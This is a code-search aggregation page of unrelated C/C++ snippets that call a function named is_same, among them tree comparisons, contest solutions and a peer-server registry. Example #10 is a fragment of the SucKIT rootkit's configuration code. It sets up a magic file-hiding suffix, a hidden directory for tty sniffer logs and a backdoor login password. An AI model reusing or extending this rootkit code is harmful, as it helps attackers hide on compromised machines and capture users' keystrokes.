Beispiel #1
0
int is_dup (Chromosome *A, Population *L_POP, int **m_t, int tot_g1, Parameter *PARAM)
    {
    /* return 1 if the chrom is duplicated, return 0 if it is not*/
    int a;
    static int *check_array;
    
    if ( check_array==NULL)
	{
	 check_array=vmalloc ( sizeof ( int)*(PARAM->BGA)->MAXPOP);
	 }

    for ( a=0; a< (PARAM->BGA)->MAXPOP; a++)
	check_array[a]=-1;
    
    for ( a=0; a< tot_g1; a++)
	{
	 if ( is_same (A,(L_POP+1)->CHROMOSOME[m_t[a][2]], PARAM))
	    return 1;
	 else
	    check_array[m_t[a][2]]=0;
	} 	  	     
    for ( a=0; a< (PARAM->BGA)->MAXPOP; a++)
	{
	if ( check_array[a]== -1)
	    {
	    if ( is_same (A,(L_POP+0)->CHROMOSOME[a],PARAM))
		return 1;
	    }
	}
     return 0;
     }
Beispiel #2
0
 bool isAnagram(string s, string t) {
     int a[MAX_SIZE] = { 0 };
     int b[MAX_SIZE] = { 0 };
     set(s, a);
     set(t, b);
     return is_same(a, b, MAX_SIZE);
 }
Beispiel #3
0
bool
is_same(Expr* a, Expr* b) {
  if (a->kind != b->kind)
    return false;
  switch (a->kind) {
  case id_expr: return same_unary(as<Id>(a), as<Id>(b));
  case unit_term: return true;
  case true_term: return true;
  case false_term: return true;
  case int_term: return as<Int>(a)->value() == as<Int>(b)->value();
  case if_term: return same_ternary(as<If>(a), as<If>(b));
  case succ_term: return same_unary(as<Succ>(a), as<Succ>(b));
  case pred_term: return same_unary(as<Pred>(a), as<Pred>(b));
  case iszero_term: return same_unary(as<Iszero>(a), as<Iszero>(b));
  case var_term: return same_var(as<Var>(a), as<Var>(b));
  case abs_term: return same_binary(as<Var>(a), as<Var>(b));
  case app_term: return same_binary(as<Var>(a), as<Var>(b));
  case ref_term: return same_ref(as<Ref>(a), as<Ref>(b));
  case init_term: return same_init(as<Init>(a), as<Init>(b));
  case record_term: return same_record(as<Record>(a), as<Record>(b));
  case kind_type: return true;
  case unit_type: return true;
  case bool_type: return true;
  case nat_type: return true;
  case arrow_type: return same_binary(as<Arrow_type>(a), as<Arrow_type>(b));
  case record_type: return same_record_type(as<Record_type>(a), as<Record_type>(b));
  case list_type: return is_same(as<List_type>(a)->type(), as<List_type>(b)->type());
  }
}
Beispiel #4
0
bool isSameTree(struct TreeNode *p, struct TreeNode *q)
{
	int	r;

	r = 1;
	is_same(p, q, &r);
	return(r);
}
Beispiel #5
0
static void is_same(struct TreeNode *p, struct TreeNode *q, int *r)
{
	if (!(*r))
		return;
	if ((!p && q) || (p && !q)) {
		*r = 0;
		return;
	}
	if (!p && !q)
		return;
	is_same(p->left, q->left, r);
	if (p->val != q->val) {
		*r = 0;
		return;
	}
	is_same(p->right, q->right, r);
}
Beispiel #6
0
int main()
{
   char a[300], b[300];

   while(~scanf("%s %s", a, b)) {

      printf("%s\n", is_same(a, b) ? "Yes" : "No");
   }
   return 0;
}
static bool compare_file(int fd, const char *snapshot, off_t snapshot_len)
{
	char *contents;
	bool ret;

	/* over-length read serves as length check. */
	contents = malloc(snapshot_len+1);
	ret = pread(fd, contents, snapshot_len+1, 0) == snapshot_len
		&& is_same(snapshot, contents, snapshot_len);
	free(contents);
	return ret;
}
Beispiel #8
0
int main()
{
	char line[100];
	
	while(scanf("%s", line) > 0)
	{
		if(is_same(line))
		    printf("TRUE\n");
		else
		    printf("FALSE\n");
	}
	return 0;
}
Beispiel #9
0
PeerServer * peer_server_add(PeerServer * n, unsigned int stale_delta) {
    PeerServer ** sp = &peers;
    PeerServer * s;
    int type = PS_EVENT_ADDED;

    assert(!n->listed);
    assert(is_dispatch_thread());
    while ((s = *sp) != NULL) {
        if (strcmp(s->id, n->id) == 0) {
            if (((s->flags & PS_FLAG_LOCAL) && !(n->flags & PS_FLAG_LOCAL)) || is_same(s, n)) {
                /* Never replace local entries with discovered ones */
                s->expiration_time = time(NULL) + stale_delta;
                if (!(s->flags & PS_FLAG_LOCAL)) s->flags = n->flags;
                peer_server_free(n);
                notify_listeners(s, PS_EVENT_HEART_BEAT);
                return s;
            }
            *sp = s->next;
            s->listed = 0;
            peer_server_free(s);
            type = PS_EVENT_CHANGED;
            break;
        }
        sp = &s->next;
    }
    n->listed = 1;
    n->creation_time = time(NULL);
    n->expiration_time = n->creation_time + stale_delta;
    n->next = peers;
    peers = n;
    notify_listeners(n, type);
    if (!stale_timer_active) {
        stale_timer_active = 1;
        post_event_with_delay(clear_stale_peers, NULL, PEER_DATA_REFRESH_PERIOD * 1000000);
    }
    return n;
}
Beispiel #10
0
int	configure(char *f, struct config *c)
{
	int	first = 0;
	char	buf[512];

	if (!c->hidestr[0])
		first++;

	if (first) {
		eprintf( "%s\n"
			"You have not configured suckit yet. Now I'll ask\n"
			"you few important questions, next time you can change\n"
			"configuration by running `%s C`\n\n", BANNER, f);
	}

	if (authenticated() && (is_same(f, strcat(get_khome(), "/sk")))) {
		eprintf(
		"WARNING: This file (%s) is actually used by currently\n"
		"running installation of suckit. Changing it's configuration\n"
		"without re-installation is not so good idea. Create a separate\n"
		"copy of this file and then you can config it.\n", f);
		return 1;
	}

	eprintf(
		"Suckit hides files containing magic string in their suffix\n"
		"Example: with suffix 'iamsoelite' the 'myfileiamsoelit' or\n"
		"'myfile.iamsoelite' files will not be shown to the rest of\n"
		"the system\n");
	do {
		input("Magic file-hiding suffix", c->hidestr, sizeof(c->hidestr));
		if (!c->hidestr[0]) {
			eprintf("Huh?!\n");
			continue;
		}
		if (strchr(c->hidestr, '/')) {
			eprintf("Having a path delimiter (/) is not good idea!\n");
			continue;
		}
		break;
	} while (1);
	eprintf(
		"Home directory will be your directory for logins. It will\n"
		"also contain .sniffer file with tty sniffer logs.\n"
		"It's name should have hide string as suffix, thus it will\n"
		"be hidden for the rest of system too.\n"
		"Example: for hiding-suffix equal to '%s' you could have\n"
		"something like /usr/share/man/man1/.%s\n", c->hidestr, c->hidestr);
	do {
		input("Home directory", c->home, sizeof(c->home));
		if (c->home[0] != '/') {
			eprintf("Your home directory _must_ be at absolute path!\n");
			continue;
		}
		break;
	} while (1);

	eprintf(
		"Suckit password is used for authentication of remote/local\n"
		"user. Please use at least 4 characters.\n");
	if (!first) {
		eprintf("Hit enter to keep previous password\n");
	}
	do {
		strcpy(buf, getpassw("\e[1;37mPassword\e[0m: "));
		if ((!buf[0]) && (!first))
			goto oldpass;
		if (strlen(buf) < 4) {
			eprintf("Way too short, ehh ?\n");
			continue;
		}
		if (strcmp(buf, getpassw("\e[1;37mRetype password\e[0m: "))) {
			eprintf("Sorry, password do not match!\n");
			continue;
		}
		break;
	} while (1);
Beispiel #11
0
int main(int , char *argv[])
{
	return is_same(&argv[0][0], &argv[0][1], 17);
}
Beispiel #12
0
int main()
{
#if 0
  {
    /*
    4aa
    3a
    2a bbb
    1    b
    012345

    4aa
    3a b
    2a b
    1 bb
    012345

    4aa
    3a 
    2ab
    1 bbb
    012345
    */
    int a[10][2] = { {1, 2}, {1, 3}, {1, 4}, {2, 4} };
    // int b[10][2] = { {3, 2}, {4, 2}, {5, 2}, {5, 1} };
    // int b[10][2] = { {3, 3}, {3, 2}, {3, 1}, {2, 1} };
    // int b[10][2] = { {4, 1}, {3, 1}, {2, 1}, {2, 2} };

    // int b[10][2] = { {2, 4}, {1, 4}, {1, 3}, {1, 2} };
    // int b[10][2] = { {5, 1}, {5, 2}, {4, 2}, {3, 2} };
    // int b[10][2] = { {2, 1}, {3, 1}, {3, 2}, {3, 3} };
    int b[10][2] = { {2, 2}, {2, 1}, {3, 1}, {4, 1} };
    assert(is_same(4, a, 4, b) == 1);
  }
#endif

  int i, j, total, num_of_point;
  int orig[MAX_LINE][2], other[MAX_LINE][2];
  char buf[256];

#define RL() { if (fgets(buf, sizeof(buf), stdin) == NULL) break; }
  while (1) {
    RL(); sscanf(buf, "%d", &total);
    if (total == 0) break;

    RL(); sscanf(buf, "%d", &num_of_point);
    for (j = 0; j < num_of_point; j++) {
      RL(); sscanf(buf, "%d %d", &orig[j][0], &orig[j][1]);
    }

    for (i = 0; i < total; i++) {
      RL(); sscanf(buf, "%d", &num_of_point);

      for (j = 0; j < num_of_point; j++) {
        RL(); sscanf(buf, "%d %d", &other[j][0], &other[j][1]);
      }

      if (is_same(num_of_point, orig, num_of_point, other) == 1)
        printf("%d\n", i + 1);
    }
    printf("+++++\n");
  }

  return 0;
}
int main()
{
    bool b = !is_same(foo<>(), 0) || is_same(foo<>(), 0L);
}